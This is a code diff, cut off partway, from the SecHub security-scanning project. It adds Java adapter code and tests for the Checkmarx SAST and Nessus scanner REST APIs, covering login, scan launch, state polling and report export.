--- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/ScanDetails.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +public class ScanDetails { + + String statusName; + boolean notFound; + public boolean isRunning() { + return !notFound && !hasFinished(); + } + private boolean hasFinished() { + return "Finished".equals(statusName); + } + +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForQueueStateSupport.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForQueueStateSupport.java new file mode 100644 index 0000000000..5b4125683e --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForQueueStateSupport.java @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.client.HttpStatusCodeException; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.Adapter; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.WaitForStateSupport; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterConfig; +import com.daimler.sechub.adapter.checkmarx.CheckmarxContext; +import com.daimler.sechub.adapter.support.JSONAdapterSupport.Access; + +class WaitForQueueStateSupport extends WaitForStateSupport{ + + public WaitForQueueStateSupport(Adapter adapter) { + super(adapter); + } + + @Override + protected boolean isWaitingForOKWhenInState(String state, CheckmarxContext context) throws Exception { + return context.getQueueDetails().isRunning(); + } + + @Override + protected String getCurrentState(CheckmarxContext context) throws Exception { + fetchScanQueueDetails(context); + return null; + } + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/334332174/Get+Scan+Queue+Details+by+Scan+Id+-+GET+sast+scansQueue+id+8.7.0+and+up + private void fetchScanQueueDetails(CheckmarxContext context) throws AdapterException { + QueueDetails details = context.getQueueDetails(); + try { + RestOperations restTemplate = context.getRestOperations(); + ResponseEntity queueData = restTemplate.getForEntity( + context.getAPIURL("sast/scansQueue/" + context.getSessionData().getScanId()), String.class); + String body = queueData.getBody(); + Access stage = context.json().fetch("stage", body); + String value = stage.fetch("value").asText(); + + details.stageValue =value; + + switch (details.stageValue) { + case "New": + if (!details.newQueueEntryFound) { + details.newQueueEntryFound = true; + } + break; + case "Failed": + details.failureText=context.json().fetch("stageDetails", body).asText(); + break; + case "Finished": + details.done=true; + break; + default: + break; + } + details.checkCount++; + }catch(HttpStatusCodeException e) { + if (HttpStatus.NOT_FOUND.equals(e.getStatusCode())) { + /* ok just no longer in queue / or never existed */ + details.done=true; + return; + } + throw e; // rethrow + } + + } + +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForScanReportSupport.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForScanReportSupport.java new file mode 100644 index 0000000000..f59cc41a1c --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForScanReportSupport.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.client.HttpStatusCodeException; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.Adapter; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.WaitForStateSupport; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterConfig; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterContext; +import com.daimler.sechub.adapter.support.JSONAdapterSupport.Access; + +class WaitForScanReportSupport extends WaitForStateSupport{ + + public WaitForScanReportSupport(Adapter adapter) { + super(adapter); + } + + @Override + protected boolean isWaitingForOKWhenInState(String state, CheckmarxAdapterContext context) throws Exception { + return context.getReportDetails().isRunning(); + } + + @Override + protected String getCurrentState(CheckmarxAdapterContext context) throws Exception { + fetchScanDetails(context); + return null; + } + +// https://checkmarx.atlassian.net/wiki/spaces/KC/pages/563806382/Get+Report+Status+by+Id+-+GET+reports+sastScan+id+status+v8.8.0+and+up +// https://checkmarx.atlassian.net/wiki/spaces/KC/pages/814121878/Swagger+Examples+v8.8.0+-+v1 + private void fetchScanDetails(CheckmarxAdapterContext context) throws AdapterException { + /* FIXME Albert Tregnaghi, 2018-10-10: the versioning of the rest API must be made fix, currently we do not send the version! this could lead + * to problems in future, so we should define them explicit in headers! */ + ReportDetails details = context.getReportDetails(); + try { + RestOperations restTemplate = context.getRestOperations(); + ResponseEntity queueData = restTemplate.getForEntity( + context.getAPIURL("reports/sastScan/" + context.getReportId()+"/status"), String.class); + String body = queueData.getBody(); + + Access status = context.json().fetch("status", body); + String value= status.fetch("value").asText(); + details.status =value; + + }catch(HttpStatusCodeException e) { + if (HttpStatus.NOT_FOUND.equals(e.getStatusCode())) { + /* ok just no longer in queue / or never existed */ + details.notFound=true; + return; + } + throw e; // rethrow + } + + } + +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForScanStateSupport.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForScanStateSupport.java new file mode 100644 index 0000000000..cbb1bd28da --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/support/WaitForScanStateSupport.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.client.HttpStatusCodeException; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.Adapter; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.WaitForStateSupport; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterConfig; +import com.daimler.sechub.adapter.checkmarx.CheckmarxContext; +import com.daimler.sechub.adapter.support.JSONAdapterSupport.Access; + +class WaitForScanStateSupport extends WaitForStateSupport{ + + public WaitForScanStateSupport(Adapter adapter) { + super(adapter); + } + + @Override + protected boolean isWaitingForOKWhenInState(String state, CheckmarxContext context) throws Exception { + return context.getScanDetails().isRunning(); + } + + @Override + protected String getCurrentState(CheckmarxContext context) throws Exception { + fetchScanDetails(context); + return null; + } + + // https://checkmarx.atlassian.net/wiki/spaces/KC/pages/569442454/Get+SAST+Scan+Details+by+Scan+Id+-+GET+sast+scans+id+v8.8.0+and+up + private void fetchScanDetails(CheckmarxContext context) throws AdapterException { + ScanDetails details = context.getScanDetails(); + try { + RestOperations restTemplate = context.getRestOperations(); + ResponseEntity queueData = restTemplate.getForEntity( + context.getAPIURL("sast/scans/" + context.getSessionData().getScanId()), String.class); + String body = queueData.getBody(); + + Access status = context.json().fetch("status", body); + String statusName = status.fetch("name").asText(); + details.statusName =statusName; + + }catch(HttpStatusCodeException e) { + if (HttpStatus.NOT_FOUND.equals(e.getStatusCode())) { + /* ok just no longer in queue / or never existed */ + details.notFound=true; + return; + } + throw e; // rethrow + } + + } + +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterTestApplication.java b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterTestApplication.java new file mode 100644 index 0000000000..c559d501a4 --- /dev/null +++ b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterTestApplication.java @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import java.io.File; +import java.io.FileWriter; + +/** + * This is a simple test application for checkmarx + * @author Albert Tregnaghi + * + */ +public class CheckmarxAdapterTestApplication { + + public static void main(String[] args) throws Exception { + System.setProperty("log4j.logger.org.apache.http","ERROR"); + System.setProperty("org.apache.commons.logging.simplelog.log.org.apache.http","OFF"); + + dump("https.proxyHost"); + dump("https.proxyPort"); + dump("https.nonProxyHosts"); + dump("http.proxyHost"); + dump("http.proxyPort"); + dump("http.nonProxyHosts"); + dump("javax.net.ssl.keyStore"); + dump("javax.net.ssl.trustStore"); + + String user = System.getProperty("test.sechub.adapter.checkmarx.user"); + if (user==null || user.isEmpty()) { + throw new IllegalArgumentException("user not set in system properties!"); + } + String password = System.getProperty("test.sechub.adapter.checkmarx.password"); + if (password==null || password.isEmpty()) { + throw new IllegalArgumentException("password not set in system properties!"); + } + String baseUrl = System.getProperty("test.sechub.adapter.checkmarx.baseurl"); + if (baseUrl==null || baseUrl.isEmpty()) { + throw new IllegalArgumentException("baseurl not set in system properties!"); + } + String projectname = System.getProperty("test.sechub.adapter.checkmarx.projectName"); + String teamId = System.getProperty("test.sechub.adapter.checkmarx.teamId"); + + String pathInOtherProject = "zipfile_contains_only_test1.txt.zip"; // leads to FAILED in queue + pathInOtherProject="zipfile_contains_only_one_simple_java_file.zip"; // should work + pathInOtherProject="zipfile_contains_sechub_doc_java.zip"; // should work + + File zipFile = CheckmarxTestFileSupport.getTestfileSupport().createFileFromRoot("sechub-other/testsourcecode/"+pathInOtherProject); + /* @formatter:off */ + CheckmarxAdapterConfig config = + CheckmarxConfig.builder(). + setUser(user). + setProjectId(projectname). + setTeamIdForNewProjects(teamId). + setPassword(password). + setPathToZipFile(zipFile.getAbsolutePath()). + setTrustAllCertificates(true). + setProductBaseUrl(baseUrl). + build(); + /* @formatter:on */ + + CheckmarxAdapterV1 adapter = new CheckmarxAdapterV1(); + String data = adapter.start(config); + File file = File.createTempFile("checkmarx-adaptertest-result", ".xml"); + FileWriter fileWriter= new FileWriter(file); + fileWriter.write(data); + fileWriter.close(); + + System.out.println("-----------------------------------------------------------------------------------------------------------------"); + System.out.println("- RESULT:"); + System.out.println("-----------------------------------------------------------------------------------------------------------------"); + System.out.println(file.getAbsolutePath()); + + } + + + private static void dump(String systemPropertyName) { + System.out.println(systemPropertyName + "=" + System.getProperty(systemPropertyName)); + + } +} diff --git a/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/CheckmarxTestFileSupport.java b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/CheckmarxTestFileSupport.java new file mode 100644 index 0000000000..56e82545a2 --- /dev/null +++ b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/CheckmarxTestFileSupport.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import com.daimler.sechub.test.TestFileSupport; + +public class CheckmarxTestFileSupport extends TestFileSupport { + + private static final CheckmarxTestFileSupport TESTFILE_SUPPORT = new CheckmarxTestFileSupport(); + + public static CheckmarxTestFileSupport getTestfileSupport() { + return TESTFILE_SUPPORT; + } + + CheckmarxTestFileSupport() { + super("sechub-adapter-checkmarx/src/test/resources"); + } +} diff --git a/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxOAuthSupportTest.java b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxOAuthSupportTest.java new file mode 100644 index 0000000000..1f07a58181 --- /dev/null +++ b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxOAuthSupportTest.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.checkmarx.support.CheckmarxOAuthSupport.CheckmarxOAuthData; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; + + + + +public class CheckmarxOAuthSupportTest { + private CheckmarxOAuthSupport supportToTest; + + @Before + public void before() throws Exception { + supportToTest = new CheckmarxOAuthSupport(); + } + + @Test + public void test_data_can_be_extracted() throws AdapterException { + /* prepare */ + String data = "{\"access_token\":\"12345MeUdnk6O_-EEp93I1e8rsdlHvBg\",\"expires_in\":86400,\"token_type\":\"Bearer\"}{Cache-Control=[no-store, no-cache, max-age=0, private], Pragma=[no-cache], Content-Length=[1786], Content-Type=[application/json; charset=utf-8], Server=[Microsoft-IIS/8.5], X-AspNet-Version=[4.0.30319], X-Powered-By=[ASP.NET], Date=[Tue, 25 Sep 2018 13:29:26 GMT]}"; + + /* execute */ + CheckmarxOAuthData result = supportToTest.extractFromJson(JSONAdapterSupport.FOR_UNKNOWN_ADAPTER,data); + + /* test */ + assertNotNull(result); + assertEquals("Bearer",result.getTokenType()); + assertEquals("12345MeUdnk6O_-EEp93I1e8rsdlHvBg",result.getAccessToken()); + assertEquals(86400,result.getExpiresIn()); + } + +} diff --git a/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxProjectSupportTest.java b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxProjectSupportTest.java new file mode 100644 index 0000000000..2fd1a5d06b --- /dev/null +++ b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxProjectSupportTest.java @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.checkmarx.CheckmarxSessionData; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; + + + + +public class CheckmarxProjectSupportTest { + private CheckmarxProjectSupport supportToTest; + + @Before + public void before() throws Exception { + supportToTest = new CheckmarxProjectSupport(); + } + + @Test + public void test_data_can_be_extracted() throws AdapterException { + /* prepare */ + String data = "[{\r\n" + + " \"id\": 1234,\r\n" + + " \"teamId\": \"xxxx-aax7-45asdf-b194-c736b605700d\",\r\n" + + " \"name\": \"TheName\",\r\n" + + " \"isPublic\": true,\r\n" + + " \"customFields\": [],\r\n" + + " \"links\": [\r\n" + + " {\r\n" + + " \"rel\": \"self\",\r\n" + + " \"uri\": \"/projects/113\"\r\n" + + " },\r\n" + + " {\r\n" + + " \"rel\": \"teams\",\r\n" + + " \"uri\": \"/auth/teams/\"\r\n" + + " },\r\n" + + " {\r\n" + + " \"rel\": \"latestscan\",\r\n" + + " \"uri\": \"/sast/scans?projectId=12213&last=1\"\r\n" + + " },\r\n" + + " {\r\n" + + " \"rel\": \"allscans\",\r\n" + + " \"uri\": \"/sast/scans?projectId=12213\"\r\n" + + " },\r\n" + + " {\r\n" + + " \"rel\": \"scansettings\",\r\n" + + " \"uri\": \"/sast/scanSettings/1234\"\r\n" + + " },\r\n" + + " {\r\n" + + " \"type\": \"local\",\r\n" + + " \"rel\": \"source\",\r\n" + + " \"uri\": null\r\n" + + " }\r\n" + + " ]\r\n" + + " }\r\n" + + "]{Cache-Control=[no-cache], Pragma=[no-cache], Content-Type=[application/json; charset=utf-8], Expires=[-1], Server=[Microsoft-IIS/8.5], api-version=[2.0], X-AspNet-Version=[4.0.30319], X-Powered-By=[ASP.NET], Date=[Tue, 25 Sep 2018 14:06:42 GMT], Content-Length=[725]}"; + + /* execute */ + CheckmarxSessionData result = supportToTest.extractFirstProjectFromJsonWithProjectArray(JSONAdapterSupport.FOR_UNKNOWN_ADAPTER,data); + + /* test */ + assertNotNull(result); + assertEquals(1234L,result.getProjectId()); + assertEquals("TheName",result.getProjectName()); + } + +} diff --git a/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanReportSupportTest.java b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanReportSupportTest.java new file mode 100644 index 0000000000..8488c88add --- /dev/null +++ b/sechub-adapter-checkmarx/src/test/java/com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanReportSupportTest.java @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx.support; + +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterContext; + +public class CheckmarxScanReportSupportTest { + private CheckmarxScanReportSupport supportToTest; + // FEFF because this is the Unicode char represented by the UTF-8 byte order mark (EF BB BF). + public static final String UTF8_BOM = "\uFEFF"; + @Before + public void before() throws Exception { + supportToTest = new CheckmarxScanReportSupport(); + + } + + @Test + public void fetchReportResult__support_does_use_result_as_is_when_empty() throws Exception { + /* prepare */ + CheckmarxAdapterContext context = prepareContent(""); + + /* execute */ + supportToTest.fetchReportResult(context); + + /* test */ + verify(context).setResult(""); + } + + @Test + public void fetchReportResult__support_does_remove_existing_byte_order_marks() throws Exception { + /* prepare */ + CheckmarxAdapterContext context = prepareContent(UTF8_BOM+" entity = new ResponseEntity<>(content, HttpStatus.OK); + + RestOperations restOperations = mock(RestOperations.class); + CheckmarxAdapterContext context = mock(CheckmarxAdapterContext.class); + + when(context.getRestOperations()).thenReturn(restOperations); + when(context.getAPIURL(any())).thenReturn("path"); + when(restOperations.getForEntity(eq("path"), eq(String.class))).thenReturn(entity); + return context; + } + +} diff --git a/sechub-adapter-nessus/README.md b/sechub-adapter-nessus/README.md new file mode 100644 index 0000000000..d8a8e760c7 --- /dev/null +++ b/sechub-adapter-nessus/README.md @@ -0,0 +1,9 @@ + +About this project +================== + +This an adapter project to access product NETSPARKER. +It has no dependency to any sechub part and can be used as a single command line program too (for test purpose). + +A product executor can use this adapter to access the product. +The adapter itself is pretty dumb and does only now the product stuff... \ No newline at end of file diff --git a/sechub-adapter-nessus/build.gradle b/sechub-adapter-nessus/build.gradle new file mode 100644 index 0000000000..a8fbf6ebc6 --- /dev/null +++ b/sechub-adapter-nessus/build.gradle @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-adapter') +} + \ No newline at end of file diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/MockedNessusAdapter.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/MockedNessusAdapter.java new file mode 100644 index 0000000000..7795a67fbb --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/MockedNessusAdapter.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import org.springframework.context.annotation.Profile; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.adapter.AdapterProfiles; +import com.daimler.sechub.adapter.mock.AbstractMockedAdapter; +import com.daimler.sechub.adapter.mock.MockedAdapter; + +@Profile(AdapterProfiles.MOCKED_PRODUCTS) +@Component +public class MockedNessusAdapter extends AbstractMockedAdapter implements NessusAdapter, MockedAdapter { + + protected void validateConfigAsDefinedInMockYAML(NessusAdapterConfig config) { + /* + * the token is for the apiToken'nessus-api-token' and user id + * 'nessus-user-id' from application-mock.yml! + */ + if (!"nessus-password".equals(config.getPassword())) { + throw new IllegalArgumentException(config.getPassword()); + } + if (!"nessus-default-policiy-id".equals(config.getPolicyId())) { + throw new IllegalArgumentException("Nessus policy not as expected:" + config.getPolicyId()); + } + String productBaseURL = config.getProductBaseURL(); + + boolean baseURLAsExpected = "https://nessus-intranet.mock.example.org:6000".equals(productBaseURL); + baseURLAsExpected= baseURLAsExpected || "https://nessus-internet.mock.example.org.com:6000".equals(productBaseURL); + if (!baseURLAsExpected) { + throw new IllegalArgumentException("Nessus base url not as expected:" + productBaseURL); + } + } + + +} diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapter.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapter.java new file mode 100644 index 0000000000..1bd5c84250 --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapter.java @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import com.daimler.sechub.adapter.Adapter; + +public interface NessusAdapter extends Adapter{ + + + +} \ No newline at end of file diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterConfig.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterConfig.java new file mode 100644 index 0000000000..5556a746d6 --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterConfig.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import com.daimler.sechub.adapter.AdapterConfig; + +public interface NessusAdapterConfig extends AdapterConfig { + +} \ No newline at end of file diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterContext.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterContext.java new file mode 100644 index 0000000000..af28235ba6 --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterContext.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import com.daimler.sechub.adapter.AdapterContext; + +public interface NessusAdapterContext extends AdapterContext { + + String getNessusPolicyUID(); + + void setNessusPolicyId(String nessusPolicyUID); + + void setNessusSessionToken(String token); + + String getNessusSessionToken(); + + void setNessusScanId(Long scanId); + + Long getNessusScanId(); + + String getHistoryId(); + + void setHistoryId(String id); + + String getExportFileId(); + +} \ No newline at end of file diff --git a/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java new file mode 100644 index 0000000000..5ed0efd8ec --- /dev/null +++ b/sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java @@ -0,0 +1,461 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import static org.springframework.http.HttpStatus.*; + +import java.text.MessageFormat; +import java.util.Collections; +import java.util.Iterator; +import java.util.Map; +import java.util.TreeMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Profile; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpMethod; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Component; +import org.springframework.util.LinkedMultiValueMap; +import org.springframework.util.MultiValueMap; +import org.springframework.web.client.HttpClientErrorException; +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.AbstractAdapter; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.AdapterLogId; +import com.daimler.sechub.adapter.AdapterProfiles; +import com.daimler.sechub.adapter.WaitForStateSupport; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ArrayNode; + +/** + * This component is able to handle NESSUS API V1 + * + * @author Albert Tregnaghi + * + */ +@Component +@Profile({ AdapterProfiles.REAL_PRODUCTS }) +public class NessusAdapterV1 extends AbstractAdapter + implements NessusAdapter { + + private static final Logger LOG = LoggerFactory.getLogger(NessusAdapterV1.class); + private static final String APICALL_LOGIN = "/session"; + private static final String APICALL_LOGOUT = APICALL_LOGIN; + private static final String APICALL_GET_POLICIES = "/editor/policy/templates"; + private static final String APICALL_ADD_NEW_SCAN = "/scans"; + private static final String MSG_APICALL_GET_HISTORY_IDS = "/scans/{0}"; + private static final String MSG_APICALL_LAUNCH_SCAN = "/scans/{0}/launch"; + private static final String MSG_APICALL_EXPORT_SCAN = "/scans/{0}/export"; + private static final String MSG_APICALL_EXPORT_SCAN_STATUS = "/scans/{0}/export/{1}/status"; + private static final String MSG_APICALL_EXPORT_SCAN_DOWNLOAD = "/scans/{0}/export/{1}/download"; + + @Override + public String start(NessusAdapterConfig config) throws AdapterException { + try { + NessusContext context = new NessusContext(config, this); + NessusWaitForScanStateSupport waitForScanDoneSupport = new NessusWaitForScanStateSupport(); + WaitForExportStatusSupport waitForExportDoneSupport = new WaitForExportStatusSupport(); + + loginAndFetchToken(context); + updateContextWithNessusPolicyUUID(context); + /* + * FIXME Albert Tregnaghi, 2018-04-03:ask tim and daniel about creating always new scans + */ + addNewScan(context); + launchScan(context); + + waitForScanDoneSupport.waitForOK(context); + + startExport(context); + waitForExportDoneSupport.waitForOK(context); + + logout(context); + return context.getResult(); + } catch (AdapterException e) { + throw e; + } catch (Exception e) { + throw asAdapterException("Was not able to perform scan!", e, config); + } + + } + + private void updateContextWithNessusPolicyUUID(NessusContext context) throws AdapterException { + String nessusPolicyUID = resolvePolicyUID(context); + if (nessusPolicyUID == null) { + NessusAdapterConfig config = context.getConfig(); + throw asAdapterException("There exists no nessus policy UUID for title:" + config.getPolicyId(), config); + } + context.setNessusPolicyId(nessusPolicyUID); + } + + private void startExport(NessusContext context) throws AdapterException { + NessusAdapterConfig config = context.getConfig(); + AdapterLogId adapterLogId = getAdapterLogId(config); + LOG.debug("{} started scan result export", adapterLogId); + + String apiUrl = createScanExportApiURL(context); + String json = "{\n" + " \"history_id\": " + context.getHistoryId() + ",\n" + " \"format\":\"nessus\"\n" + "}\n" + + ""; + + MultiValueMap headers = createHeader(config); + + HttpEntity request = new HttpEntity<>(json, headers); + + ResponseEntity response = context.getRestOperations().postForEntity(apiUrl, request, String.class); + if (!OK.equals(response.getStatusCode())) { + throw new NessusRESTFailureException(response.getStatusCode(), response.getBody()); + } + String fileId = context.json().fetch("file", response).asText(); + context.setExportFileId(fileId); + LOG.debug("{} fetched export data, fileId={}", adapterLogId, fileId); + + } + + protected String ensureHistoryIdInContext(NessusAdapterContext context) throws AdapterException { + String historyId = context.getHistoryId(); + if (historyId != null) { + return historyId; + } + context.setHistoryId(resolveHistoryId(context)); + return context.getHistoryId(); + } + + private String resolveHistoryId(NessusAdapterContext context) throws AdapterException { + String traceID = context.getConfig().getTraceID(); + LOG.debug("{} try to fetch history id", traceID); + + String apiUrl = createGetHistoryIdsApiURL(context); + ResponseEntity response = context.getRestOperations().getForEntity(apiUrl, String.class); + if (!OK.equals(response.getStatusCode())) { + throw new NessusRESTFailureException(response.getStatusCode(), response.getBody()); + } + String content = response.getBody(); + String historyId = resolveHistoryIdByUUID(content, context); + LOG.debug("{} found history id {}", traceID, historyId); + + return historyId; + } + + private void launchScan(NessusAdapterContext context) throws AdapterException { + NessusAdapterConfig config = context.getConfig(); + + MultiValueMap headers = createHeader(config); + + HttpEntity request = new HttpEntity<>(headers); + + String apiUrl = createLaunchApiURL(context); + + try { + ResponseEntity response = context.getRestOperations().postForEntity(apiUrl, request, String.class); + /* resolve token from response */ + String body = response.getBody(); + LOG.debug("{} resulted response body was '{}'", getAdapterLogId(context), body); + String scanUUID = extractScanUUID(context, body); + context.setProductContextId(scanUUID); + + } catch (HttpClientErrorException e) { + throw asAdapterException("Problems with url:" + apiUrl + ":" + e.getResponseBodyAsString(), context); + } + } + + String extractScanUUID(NessusAdapterContext context, String body) throws AdapterException { + String scanUUID = context.json().fetch("scan_uuid", body).asText(); + LOG.debug("{} resulted scanId uuid '{}'", getAdapterLogId(context), scanUUID); + return scanUUID; + } + + String createGetHistoryInfoApiURL(NessusAdapterContext context) { + return createGetHistoryIdsApiURL(context);// same url + } + + String createGetHistoryIdsApiURL(NessusAdapterContext context) { + String part = MessageFormat.format(MSG_APICALL_GET_HISTORY_IDS, Long.toString(context.getNessusScanId())); + return createAPIURL(part, context); + } + + String createLaunchApiURL(NessusAdapterContext context) { + String part = MessageFormat.format(MSG_APICALL_LAUNCH_SCAN, Long.toString(context.getNessusScanId())); + return createAPIURL(part, context); + } + + String createScanExportApiURL(NessusAdapterContext context) { + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN, Long.toString(context.getNessusScanId())); + return createAPIURL(part, context); + } + + String createScanExportStatusApiURL(NessusAdapterContext context) { + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN_STATUS, Long.toString(context.getNessusScanId()), + context.getExportFileId()); + return createAPIURL(part, context); + } + + String createScanExportDownloadApiURL(NessusAdapterContext context) { + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN_DOWNLOAD, Long.toString(context.getNessusScanId()), + context.getExportFileId()); + return createAPIURL(part, context); + } + + void addNewScan(NessusAdapterContext context) throws AdapterException { + NessusAdapterConfig config = context.getConfig(); + String jsonAsString = createNewScanJSON(context); + + MultiValueMap headers = createHeader(config); + + HttpEntity request = new HttpEntity<>(jsonAsString, headers); + + String apiUrl = createAPIURL(APICALL_ADD_NEW_SCAN, config); + + try { + ResponseEntity response = context.getRestOperations().postForEntity(apiUrl, request, String.class); + /* resolve token from response */ + String body = response.getBody(); + LOG.debug("{} resulted response body was '{}'", config.getTraceID(), body); + long scanId = context.json().fetch("scan", body).fetch("id").asLong(); + LOG.debug("{} resulted scanId is '{}'", config.getTraceID(), scanId); + context.setNessusScanId(scanId); + + } catch (HttpClientErrorException e) { + throw asAdapterException("Was not able to add new scan", e, config); + } + + } + + String createNewScanJSON(NessusAdapterContext context) { + NessusAdapterConfig config = context.getConfig(); + /* @formatter:off */ + return createNewScanJSONBuilder(). + 